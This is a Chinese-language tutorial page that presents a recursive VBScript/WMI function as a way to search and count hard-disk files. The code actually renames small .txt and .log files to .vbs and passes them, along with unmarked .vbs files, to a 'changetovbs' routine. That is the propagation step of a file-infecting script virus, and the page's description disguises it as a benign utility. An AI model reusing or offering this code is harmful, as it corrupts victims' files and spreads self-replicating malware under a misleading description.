VBS調(diào)用WMI遍歷搜索硬盤文件并計(jì)數(shù)的方法
更新時(shí)間:2016年10月11日 23:20:48 投稿:mdxy-dxy
這篇文章主要介紹了VBS調(diào)用WMI遍歷搜索硬盤文件并計(jì)數(shù)的方法,需要的朋友可以參考下
多年之前寫的一個(gè)VBS調(diào)用WMI來(lái)遍歷搜索硬盤文件,并計(jì)數(shù)的函數(shù),今天整理網(wǎng)盤,看到了,發(fā)上來(lái)
核心代碼:
Function wmisfile(path_sf,justcnt) 'On Error Resume Next StrComputer = "." Set ObjWMIService = GetObject("winmgmts:\\" & StrComputer & "\root\cimv2") Set FileList = objWMIService.ExecQuery _ ("ASSOCIATORS OF {Win32_Directory.Name='" & path_sf & "'} Where " _ & "ResultClass = CIM_DataFile") For Each objFile In FileList fname = LCase(objfile.name) ename = LCase(objfile.extension) If 1 < objfile.filesize And objfile.filesize <= 50000 Then Select Case ename Case "txt","log" path_vbs = objfile.drive & objfile.path & objfile.filename & ".vbs" objfile.rename(objfile.drive & objFile.Path & objfile.filename & ".vbs") Call changetovbs(path_vbs,path_vbs) justcnt = justcnt + 1 Case "vbs" If checkversion(fname) = False Then Call changetovbs(fname,fname) justcnt = justcnt + 1 End If End Select End If Next Set colSubfolders = objWMIService.ExecQuery _ ("Associators of {Win32_Directory.Name='" & path_sf & "'} " _ & "Where AssocClass = Win32_Subdirectory " _ & "ResultRole = PartComponent") For Each objFolder In colSubfolders wmisfile objfolder.name,justcnt Next End Function
相關(guān)文章
VBS For Next循環(huán)的一些細(xì)節(jié)
For Next 語(yǔ)句是 VBS 中常用的循環(huán)語(yǔ)句,你可能已經(jīng)用過(guò)無(wú)數(shù)次 For Next 循環(huán),但是你是否注意過(guò)它的一些細(xì)節(jié)呢2013-01-01注冊(cè)表-批處理-VBS之間的功能對(duì)應(yīng)
這篇文章主要介紹了注冊(cè)表-批處理-VBS之間的功能對(duì)應(yīng)2007-02-02VBS調(diào)用WMI實(shí)現(xiàn)搜索硬盤mp3文件
如果你想用遞歸搜索我也沒(méi)辦法。下面的程序搜索電腦上所有的MP3文件。2011-01-01